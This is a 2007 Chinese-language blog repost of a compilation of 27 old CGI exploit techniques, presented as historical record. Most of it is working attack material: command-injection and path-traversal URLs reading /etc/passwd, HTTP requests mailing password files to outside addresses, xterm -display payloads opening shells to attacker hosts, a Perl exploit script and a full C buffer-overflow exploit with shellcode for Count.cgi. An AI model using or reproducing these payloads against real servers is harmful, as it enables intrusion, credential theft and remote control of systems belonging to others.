2007年7月4日 星期三

CGI漏洞攻擊整理

註:以下文章非本人撰寫為中國大陸網路轉載文章,並經本人整理。

來源:黑狼技術 CGI漏洞攻擊整理

作者:武夫

##CONTINUE##

註:以下所列之漏洞方法均屬年代久遠之手法,要實現可能很難,只做個歷史記錄,其大多數更新版本之後就可避免。

一. phf漏洞

這個phf漏洞好像是最經典了,幾乎所有的文章都會介紹,可以執行伺服器的命令,如顯示/etc/passwd:

例如:http://www.victim.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

但是這麼老的漏洞我們還能找到它嗎?

二. php.cgi 2.0beta10或更早版本的漏洞

可以讀nobody許可權的所有檔.

例如:http://www.victim.com/cgi-bin/php.cgi?/etc/passwd

php.cgi 2.1版本的只能讀shtml檔了.

對於密碼檔案,同志們要注意一下,也許可能在/etc/master.passwd、/etc/security/passwd等地方.

三. whois_raw.cgi

例如:http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd

例如:http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20graziella.lame.org:0

四. faxsurvey

例如:http://www.victim.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd

五. textcounter.pl

如果伺服器上有textcounter.pl,所有人可以用http守護進程的許可權執行命令.

#!/usr/bin/perl

$URL='http://dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this

$EMAIL='pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this

if ($ARGV[0]) { $CMD=$ARGV[0];}else{

$CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL}

-sanothere_one";

}$text="${URL}/;IFS=\8;${CMD};echo|";$text =~ s/ /\$\{IFS\}/g;#print

"$text\n";

system({"wget"} "wget", $text, "-O/dev/null");

system({"wget"} "wget", $text, "-O/dev/null");

#system({"lynx"} "lynx", $text);

#如果沒有wget命令也可以用lynx

#system({"lynx"} "lynx", $text);

六. 一些版本(apache 1.1)的info2www的漏洞

$ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami

</etc/passwd|)'

$

You have new mail.

$


七. pfdispaly.cgi

lynx -source \

'http://www.victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd'

pfdisplay.cgi 還有另外一個漏洞可以執行命令

lynx -dump http://www.victim.com/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'

or

lynx -dump \

http://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|'

八. wrap

例如:http://www.victim.com/cgi-bin/wrap?/../../../../../etc

九. www-sql

可以讓你讀一些受限制的頁面如:

在你的流覽器裡輸入:http://your.server/protected/something.html:

被要求輸入帳號和口令.而有www-sql就不必了:

例如:http://your.server/cgi-bin/www-sql/protected/something.html:

十. view-source

例如:http://www.victim.com/cgi-bin/view-source?../../../../../../../etc/passwd

十一.campas

例如:http://www.victim.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a

十二.webgais

telnet www.victim.com 80

POST /cgi-bin/webgais HTTP/1.0

Content-length: 85 (replace this with the actual length of the

"exploit"line)

query=';mail+drazvan\@pop3.kappa.ro</etc/passwd;echo'&output=subject&domain=paragraph

十三.websendmail

telnet www.victim.com 80

POST /cgi-bin/websendmail HTTP/1.0

Content-length: xxx (should be replaced with the actual length of the

string passed to the server, in this case xxx=90)

receiver=;mail+your_address\@somewhere.org</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a

十四.handler

telnet www.victim.com 80

GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=DownloadHTTP/1.0

or

GET /cgi-bin/handler/blah;xwsh -display yourhost.com|?data=Download

or

GET

/cgi-bin/handler/<tab>;xterm<tab>-display<tab>danish:0<tab>-e<tab>/bin/sh|<tab>?data=Download

注意,cat後是TAB鍵而不是空格,伺服器會報告不能打開useless_shit,但仍舊執行之後命令.

十五.test-cgi

例如:http://www.victim.com/cgi-bin/test-cgi?\whatever

CGI/1.0 test script report:

argc is 0. argv is .

SERVER_SOFTWARE = NCSA/1.4B

SERVER_NAME = victim.com

GATEWAY_INTERFACE = CGI/1.1

SERVER_PROTOCOL = HTTP/1.0

SERVER_PORT = 80

REQUEST_METHOD = GET

HTTP_ACCEPT = text/plain, application/x-html, application/html,

text/html, text/x-html

PATH_INFO =

PATH_TRANSLATED =

SCRIPT_NAME = /cgi-bin/test-cgi

QUERY_STRING = whatever

REMOTE_HOST = fifth.column.gov

REMOTE_ADDR = 200.200.200.200

REMOTE_USER =

AUTH_TYPE =

CONTENT_TYPE =

CONTENT_LENGTH =

得到一些http的目錄

lynx http://www.victim.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd

這招好像並不管用.:(

lynx http://www.victim.com/cgi-bin/nph-test-cgi?/*

還可以這樣試

GET /cgi-bin/test-cgi?* HTTP/1.0

GET /cgi-bin/test-cgi?x *

GET /cgi-bin/nph-test-cgi?* HTTP/1.0

GET /cgi-bin/nph-test-cgi?x *

GET /cgi-bin/test-cgi?x HTTP/1.0 *

GET /cgi-bin/nph-test-cgi?x HTTP/1.0 *

十六.對於某些BSD的apache可以:

例如:http://www.victim.com/root/etc/passwd

例如:http://www.victim.com/~root/etc/passwd

十七.htmlscript

例如:http://www.victim.com/cgi-bin/htmlscript?../../../../etc/passwd

十八.jj.c

The demo cgi program jj.c calls /bin/mail without filtering user

input, so any program based on jj.c could potentially be exploited by

simply adding a followed by a Unix command. It may require a

password, but two known passwords include HTTPdrocks and SDGROCKS. If

you can retrieve a copy of the compiled program running strings on it

will probably reveil the password.

Do a web search on jj.c to get a copy and study the code yourself if

you have more questions.

十九.Frontpage extensions

如果你讀http://www.victim.com/_vti_inf.html你將得到FP extensions的版本

和它在伺服器上的路徑. 還有一些密碼檔如:

http://www.victim.com/_vti_pvt/service.pwd

http://www.victim.com/_vti_pvt/users.pwd

http://www.victim.com/_vti_pvt/authors.pwd

http://www.victim.com/_vti_pvt/administrators.pwd

二十.Freestats.com CGI

沒有碰到過,覺的有些地方不能搞錯,所以直接貼英文.

John Carlton found following. He developed an exploit for the

free web stats services offered at freestats.com, and supplied the

webmaster with proper code to patch the bug.

Start an account with freestats.com, and log in. Click on the

area that says "CLICK HERE TO EDIT YOUR USER PROFILE & COUNTER

INFO" This will call up a file called edit.pl with your user #

and password included in it. Save this file to your hard disk and

open it with notepad. The only form of security in this is a

hidden attribute on the form element of your account number.

Change this from *input type=hidden name=account value=your#*

to *input type=text name=account value=""*

Save your page and load it into your browser. Their will now be a

text input box where the hidden element was before. Simply type a

# in and push the "click here to update user profile" and all the

information that appears on your screen has now been written to

that user profile.

But that isn't the worst of it. By using frames (2 frames, one to

hold this page you just made, and one as a target for the form

submission) you could change the password on all of their accounts

with a simple JavaScript function.

Deep inside the web site authors still have the good old "edit.pl"

script. It takes some time to reach it (unlike the path described)

but you can reach it directly at:

http://www.sitetracker.com/cgi-bin/edit.pl?account=&password=

二十一.Vulnerability in Glimpse HTTP

telnet target.machine.com 80

GET

/cgi-bin/aglimpse/80|IFS=5;CMD=5mail5fyodor\@dhp.com\</etc/passwd;eval$CMD;echo

HTTP/1.0

二十二.Count.cgi

該程式只對Count.cgi 24以下版本有效:

/*### count.c########################################################*/

#include <stdio.h>

#include <stdlib.h>

#include <getopt.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <netdb.h>

#include <errno.h>

/* Forwards */

unsigned long getsp(int);

int usage(char *);

void doit(char *,long, char *);

/* Constants */

char shell[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"

"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"

"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"

"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"

"/usr/X11R6/bin/xterm0-ut0-display0";

char endpad[]=

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";

int main (int argc, char *argv[]){

char *shellcode = NULL;

int cnt,ver,retcount, dispnum,dotquads[4],offset;

unsigned long sp;

char dispname[255];

char *host;

offset = sp = cnt = ver = 0;

fprintf(stderr,"\t%s - Gus\n",argv[0]);

if (argc<3) usage(argv[0]);

while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {

switch(cnt){

case 'h':

host = optarg;

break;

case 'd':

{

retcount = sscanf(optarg, "%d.%d.%d.%d:%d",

&dotquads[0],

&dotquads[1],

&dotquads[2],

&dotquads[3], &dispnum);

if (retcount != 5) usage(argv[0]);

sprintf(dispname, "%03d.%03d.%03d.%03d:%01d",

dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);

shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));

sprintf(shellcode,"%s%s%s",shell,dispname,endpad);

}

break;

case 'v':

ver = atoi(optarg);

break;

case 'o':

offset = atoi(optarg);

break;

default:

usage(argv[0]);

break;

}

}

sp = offset + getsp(ver);

(void)doit(host,sp,shellcode);

exit(0);

}

unsigned long getsp(int ver) {

/* Get the stack pointer we should be using. YMMV. If it does not work,

try using -o X, where x is between -1500 and 1500 */

unsigned long sp=0;

if (ver == 15) sp = 0xbfffea50;

if (ver == 20) sp = 0xbfffea50;

if (ver == 22) sp = 0xbfffeab4;

if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */

if (sp == 0) {

fprintf(stderr,"I don't have an sp for that version try using the -o

option.\n");

fprintf(stderr,"Versions above 24 are patched for this bug.\n");

exit(1);

} else {

return sp;

}

}

int usage (char *name) {

fprintf(stderr,"\tUsage:%s -h host -d <display> -v <version> [-o

<offset>]\n",name);

fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name);

exit(1);

}

int openhost (char *host, int port) {

int sock;

struct hostent *he;

struct sockaddr_in sa;

he = gethostbyname(host);

if (he == NULL) {

perror("Bad hostname\n");

exit(-1);

}

memcpy(&sa.sin_addr, he->h_addr, he->h_length);

sa.sin_port=htons(port);

sa.sin_family=AF_INET;

sock=socket(AF_INET,SOCK_STREAM,0);

if (sock < 0) {

perror ("cannot open socket");

exit(-1);

}

bzero(&sa.sin_zero,sizeof (sa.sin_zero));

if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {

perror("cannot connect to host");

exit(-1);

}

return(sock);

}

void doit (char *host,long sp, char *shellcode) {

int cnt,sock;

char qs[7000];

int bufsize = 16;

char buf[bufsize];

char chain[] = "user=a";

bzero(buf);

for(cnt=0;cnt<4104;cnt+=4) {

qs[cnt+0] = sp & 0x000000ff;

qs[cnt+1] = (sp & 0x0000ff00) >> 8;

qs[cnt+2] = (sp & 0x00ff0000) >> 16;

qs[cnt+3] = (sp & 0xff000000) >> 24;

}

strcpy(qs,chain);

qs[strlen(chain)]=0x90;

qs[4104]= sp&0x000000ff;

qs[4105]=(sp&0x0000ff00)>>8;

qs[4106]=(sp&0x00ff0000)>>16;

qs[4107]=(sp&0xff000000)>>24;

qs[4108]= sp&0x000000ff;

qs[4109]=(sp&0x0000ff00)>>8;

qs[4110]=(sp&0x00ff0000)>>16;

qs[4111]=(sp&0xff000000)>>24;

qs[4112]= sp&0x000000ff;

qs[4113]=(sp&0x0000ff00)>>8;

qs[4114]=(sp&0x00ff0000)>>16;

qs[4115]=(sp&0xff000000)>>24;

qs[4116]= sp&0x000000ff;

qs[4117]=(sp&0x0000ff00)>>8;

qs[4118]=(sp&0x00ff0000)>>16;

qs[4119]=(sp&0xff000000)>>24;

qs[4120]= sp&0x000000ff;

qs[4121]=(sp&0x0000ff00)>>8;

qs[4122]=(sp&0x00ff0000)>>16;

qs[4123]=(sp&0xff000000)>>24;

qs[4124]= sp&0x000000ff;

qs[4125]=(sp&0x0000ff00)>>8;

qs[4126]=(sp&0x00ff0000)>>16;

qs[4127]=(sp&0xff000000)>>24;

qs[4128]= sp&0x000000ff;

qs[4129]=(sp&0x0000ff00)>>8;

qs[4130]=(sp&0x00ff0000)>>16;

qs[4131]=(sp&0xff000000)>>24;

strcpy((char*)&qs[4132],shellcode);

sock = openhost(host,80);

write(sock,"GET /cgi-bin/Count.cgi?",23);

write(sock,qs,strlen(qs));

write(sock," HTTP/1.0\n",10);

write(sock,"User-Agent: ",12);

write(sock,qs,strlen(qs));

write(sock,"\n\n",2);

sleep(1);

/* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs);

*/

/*

setenv("HTTP_USER_AGENT",qs,1);

setenv("QUERY_STRING",qs,1);

system("./Count.cgi");

*/

}

用Count.cgi看圖片

http://attacked.host.com/cgi-bin/Count.cgi?display=image&image=../../../../../../path_to_gif/file.gif

二十三.finger.cgi

lynx http://www.victim.com/cgi-bin/finger?@localhost

得到主機上登陸的用戶名.

二十四.man.sh

Robert Moniot found followung. The May 1998 issue of SysAdmin

Magazine contains an article, "Web-Enabled Man Pages", which

includes source code for very nice cgi script named man.sh to feed

man pages to a web browser. The hypertext links to other man

pages are an especially attractive feature.

Unfortunately, this script is vulnerable to attack. Essentially,

anyone who can execute the cgi thru their web browser can run any

system commands with the user id of the web server and obtain the

output from them in a web page.

二十五.FormHandler.cgi

在表格裡加上

<INPUT TYPE="hidden" NAME="reply_message_attach"

VALUE="text:/tmp/../etc/passwd">

你的信箱裡就有/etc/passwd

二十六.JFS

相信大家都看過"JFS 侵入 PCWEEK-LINUX 主機的詳細過程"這篇文章,他利用photoads這個CGI模組攻入主機. 我沒有實際攻擊過,看文章的理解是這樣

先lynx "http://securelinux.hackpcweek.com/photoads/cgi-bin/edit.cgi?AdNum=31337&action=done&Country=lala&City=lele&State=a&EMail=lala@hjere.com&Name=%0a1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&Phone=11&Subject=la&password=0&CityStPhone=0&Renewed=0"

創建新AD值繞過 $AdNum 的檢查後用

lynx 'http://securelinux.hackpcweek.com/photoads/cgi-bin/photo.cgi?file=a.jpg&AdNum=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&DataFile=1&Password=0&FILE_CONTENT=%00%00%00%00%00%00%00%00%00%00%00%00%00&FILE_NAME=/lala/\../../../../../../../home/httpd/html/photoads/cgi-bin/advisory.cgi%00.gif'

創建/覆蓋使用者 nobody 有權寫的任何檔.

不知我的理解是否對,在它的zip包裡我找不到to_url腳本,不知誰知道?

二十七.backdoor

看到現在一些cgichk.c裡都有檢查木馬unlg1.1和rwwwshell.pl前一個是UnlG寫的,我沒見過源碼,有一個是THC寫的,packetstorm裡有它1.6版的源碼.

 

相關連結:

網站伺服器的弱點或管理不當(1/5)

CGI程式漏洞語法及範例(1/5)

網站伺服器的弱點或管理不當(1/5)_解決方法

http://anti-hacker.blogspot.com/2007/07/cgi.html

0 張貼意見:

 
Blogger Template Layout Design by [ METAMUSE ] : Code Name BlackCat 2.0.0